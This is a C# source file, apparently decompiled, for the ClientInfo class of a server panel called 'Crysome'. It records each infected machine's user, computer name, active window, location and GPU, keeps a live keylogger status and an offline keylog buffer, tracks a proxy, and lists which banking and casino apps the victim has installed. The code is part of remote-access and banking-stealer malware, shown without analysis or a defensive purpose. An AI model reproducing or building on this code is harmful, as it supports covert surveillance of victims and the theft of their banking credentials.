using System;
using System.Collections.ObjectModel;
using System.ComponentModel;
using System.Runtime.CompilerServices;
using System.Text;
using System.Text.Json;
using System.Windows.Media.Imaging;
using Crysome.Common.Network;

namespace Crysome.Server.Model;

public class ClientInfo : INotifyPropertyChanged
{
	private string _identifier = "";

	private string _address = "";

	private int _port;

	private string _username = "";

	private string _computerName = "";

	private string _os = "";

	private string _activeWindow = "";

	private string _uptime = "";

	private string _countryCode = "";

	private BitmapImage _flagImage;

	private string _group = "";

	private string _gpu = "";

	private string _notes = "";

	private bool _proxyActive;

	private int _pingValue;

	private bool _isPinned;

	private bool _isAnnounce;

	private bool _isMuted;

	private DateTime _muteUntil;

	private int[] _pingSamples = new int[4];

	private int _pingSampleIdx;

	private int _pingSampleCount;

	private string _appsInventoryJson = "";

	private string _bankInventoryJson = "";

	private string _casinoInventoryJson = "";

	private bool _keyloggerActive;

	private readonly StringBuilder _offlineKeylogBuffer = new StringBuilder();

	public CrysomeClient Owner { get; set; }

	public string SessionId { get; set; }

	public DateTime ConnectTime { get; set; }

	public string Identifier
	{
		get
		{
			return _identifier;
		}
		set
		{
			_identifier = value;
			Notify("Identifier");
		}
	}

	public string Address
	{
		get
		{
			return _address;
		}
		set
		{
			_address = value;
			Notify("Address");
		}
	}

	public int Port
	{
		get
		{
			return _port;
		}
		set
		{
			_port = value;
			Notify("Port");
		}
	}

	public string Username
	{
		get
		{
			return _username;
		}
		set
		{
			_username = value;
			Notify("Username");
		}
	}

	public string ComputerName
	{
		get
		{
			return _computerName;
		}
		set
		{
			_computerName = value;
			Notify("ComputerName");
		}
	}

	public string OS
	{
		get
		{
			return _os;
		}
		set
		{
			_os = value;
			Notify("OS");
		}
	}

	public string ActiveWindow
	{
		get
		{
			return _activeWindow;
		}
		set
		{
			_activeWindow = value;
			Notify("ActiveWindow");
		}
	}

	public string Uptime
	{
		get
		{
			return _uptime;
		}
		set
		{
			_uptime = value;
			Notify("Uptime");
		}
	}

	public string CountryCode
	{
		get
		{
			return _countryCode;
		}
		set
		{
			_countryCode = value;
			Notify("CountryCode");
			FlagImage = FlagCache.Get((value ?? "").Trim().ToUpperInvariant());
		}
	}

	public BitmapImage FlagImage
	{
		get
		{
			return _flagImage;
		}
		set
		{
			_flagImage = value;
			Notify("FlagImage");
		}
	}

	public string Group
	{
		get
		{
			return _group;
		}
		set
		{
			_group = value;
			Notify("Group");
		}
	}

	public string GPU
	{
		get
		{
			return _gpu;
		}
		set
		{
			_gpu = value;
			Notify("GPU");
		}
	}

	public string Notes
	{
		get
		{
			return _notes;
		}
		set
		{
			_notes = value;
			Notify("Notes");
		}
	}

	public bool ProxyActive
	{
		get
		{
			return _proxyActive;
		}
		set
		{
			_proxyActive = value;
			Notify("ProxyActive");
			Notify("ProxyStatus");
		}
	}

	public string ProxyStatus
	{
		get
		{
			if (!_proxyActive)
			{
				return "";
			}
			return "TRUE";
		}
	}

	public int PingValue
	{
		get
		{
			return _pingValue;
		}
		set
		{
			_pingValue = value;
			Notify("PingValue");
			Notify("PingDisplay");
		}
	}

	public string PingDisplay
	{
		get
		{
			if (_pingValue < 0 || _pingSampleCount <= 0)
			{
				return "";
			}
			return _pingValue + " ms";
		}
	}

	public bool IsPinned
	{
		get
		{
			return _isPinned;
		}
		set
		{
			_isPinned = value;
			Notify("IsPinned");
		}
	}

	public bool IsAnnounce
	{
		get
		{
			return _isAnnounce;
		}
		set
		{
			_isAnnounce = value;
			Notify("IsAnnounce");
		}
	}

	public bool IsMuted
	{
		get
		{
			return _isMuted;
		}
		set
		{
			_isMuted = value;
			Notify("IsMuted");
		}
	}

	public DateTime MuteUntil
	{
		get
		{
			return _muteUntil;
		}
		set
		{
			_muteUntil = value;
			Notify("MuteUntil");
		}
	}

	public string AppsInventoryJson
	{
		get
		{
			return _appsInventoryJson;
		}
		private set
		{
			_appsInventoryJson = value ?? "";
			Notify("AppsInventoryJson");
		}
	}

	public string BankInventoryJson
	{
		get
		{
			return _bankInventoryJson;
		}
		private set
		{
			_bankInventoryJson = value ?? "";
			Notify("BankInventoryJson");
		}
	}

	public string CasinoInventoryJson
	{
		get
		{
			return _casinoInventoryJson;
		}
		private set
		{
			_casinoInventoryJson = value ?? "";
			Notify("CasinoInventoryJson");
		}
	}

	public bool KeyloggerActive
	{
		get
		{
			return _keyloggerActive;
		}
		set
		{
			_keyloggerActive = value;
			Notify("KeyloggerActive");
			Notify("KeyloggerStatus");
		}
	}

	public string KeyloggerStatus
	{
		get
		{
			if (!_keyloggerActive)
			{
				return "No";
			}
			return "Live";
		}
	}

	public string OfflineKeylogData => _offlineKeylogBuffer.ToString();

	public ObservableCollection<InventoryDot> AppInventoryDots { get; } = new ObservableCollection<InventoryDot>();

	public ObservableCollection<InventoryDot> BankInventoryDots { get; } = new ObservableCollection<InventoryDot>();

	public ObservableCollection<InventoryDot> CasinoInventoryDots { get; } = new ObservableCollection<InventoryDot>();

	public event PropertyChangedEventHandler PropertyChanged;

	private void Notify([CallerMemberName] string name = null)
	{
		this.PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(name));
	}

	public void AppendOfflineKeylog(string data)
	{
		_offlineKeylogBuffer.Append(data);
		Notify("OfflineKeylogData");
	}

	public void ApplyInventoryJson(string appsJson, string bankJson, string casinoJson = null)
	{
		AppsInventoryJson = appsJson ?? "";
		BankInventoryJson = bankJson ?? "";
		CasinoInventoryJson = casinoJson ?? "";
		AppInventoryDots.Clear();
		BankInventoryDots.Clear();
		CasinoInventoryDots.Clear();
		FillInventoryDots(appsJson, AppInventoryDots, "app");
		FillInventoryDots(bankJson, BankInventoryDots, "bank");
		FillInventoryDots(casinoJson, CasinoInventoryDots, "casino");
	}

	private static void FillInventoryDots(string json, ObservableCollection<InventoryDot> target, string kind)
	{
		if (string.IsNullOrWhiteSpace(json))
		{
			return;
		}
		try
		{
			using JsonDocument jsonDocument = JsonDocument.Parse(json);
			if (!jsonDocument.RootElement.TryGetProperty("items", out var value))
			{
				return;
			}
			foreach (JsonElement item in value.EnumerateArray())
			{
				JsonElement value2;
				string text = (item.TryGetProperty("id", out value2) ? value2.GetString() : "?");
				JsonElement value3;
				bool present = item.TryGetProperty("present", out value3) && value3.ValueKind == JsonValueKind.True;
				BitmapImage icon = ((kind == "app") ? InventoryIconCache.GetApp(text) : ((kind == "bank") ? InventoryIconCache.GetBank(text) : InventoryIconCache.GetCasino(text)));
				target.Add(new InventoryDot
				{
					Id = (text ?? "?"),
					Present = present,
					Icon = icon
				});
			}
		}
		catch
		{
		}
	}

	public void AddPingSample(int rtt)
	{
		_pingSamples[_pingSampleIdx] = rtt;
		_pingSampleIdx = (_pingSampleIdx + 1) % 4;
		if (_pingSampleCount < 4)
		{
			_pingSampleCount++;
		}
		int num = 0;
		for (int i = 0; i < _pingSampleCount; i++)
		{
			num += _pingSamples[i];
		}
		PingValue = num / _pingSampleCount;
	}

	public bool CheckMuteExpired()
	{
		if (_isMuted && DateTime.Now >= _muteUntil)
		{
			_isMuted = false;
			return true;
		}
		return false;
	}
}
